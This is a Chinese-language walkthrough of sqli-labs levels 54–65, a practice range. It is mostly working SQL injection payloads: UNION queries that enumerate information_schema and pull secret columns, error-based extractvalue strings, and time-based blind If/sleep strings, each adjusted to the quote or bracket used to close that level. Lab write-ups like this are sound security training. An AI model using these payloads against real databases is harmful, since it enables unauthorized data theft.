靶场练习-Sqli-labs通关记录(综合实战型)(54-65关)
0x00 实验环境
本地:Win 10
靶场:sqli-labs(共65关,每日一关)
0x02 通关记录
简介:一天一关!
(54)第五十四关:
你只有十次尝试机会:
首先看看源码,查询语句处的id未做过滤:
可构造注入语句:当时是先判断列,然后再用联合查询:
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
从这个challenge查询到了表名,然后查列再查数据:
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='uhzy7cfl3c'--+
有四个参数,查询我们想要的那个secret就行:
-1' union select 1,2,group_concat(secret_0S37) from challenges.uhzy7cfl3c--+
(55)第五十五关:
与54关唯一区别就是闭合语句,加个)即可:
-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='zooooaltb0'--+
-1) union select 1,2,group_concat(secret_WV7B) from challenges.zooooaltb0--+
(56)第五十六关:
与55关唯一区别就是闭合语句,加个')即可:
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ -1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='xxxxx'--+ -1') union select 1,2,group_concat(secret_xxxx) from challenges.xxxxx--+
不再演示!
(57)第五十七关:
与56关唯一区别就是闭合语句,加个"即可:
-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ -1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='xxxxx'--+ -1" union select 1,2,group_concat(secret_xxxx) from challenges.xxxxx--+
不再演示!
(58)第五十八关:
这里使用了报错函数,因此可以使用报错函数:
就五次,能不能就报错就行了:
-1' union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
(59)第五十九关:
闭合语句不同:
-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
(60)第六十关:
闭合语句不同:
-1") union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
(61)第六十一关:
闭合语句不同:
-1')) union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
(62)第六十二关:
没有报错函数了:
当正确的时候时间很短,当错误的时候时间大于 10 秒,此时可以利用脚本进行尝试。然后我没有脚本,准备着手学python,故最后这四关贴点图上去吧:
1') and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,1,sleep(10))--+
(63)第六十三关:
逗号闭合:
1' and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,1,sleep(10))--+
(64)第六十四关:
))闭合:
1)) and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,1,sleep(10))--+
(65)第六十五关:
")闭合:
1") and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,1,sleep(10))--+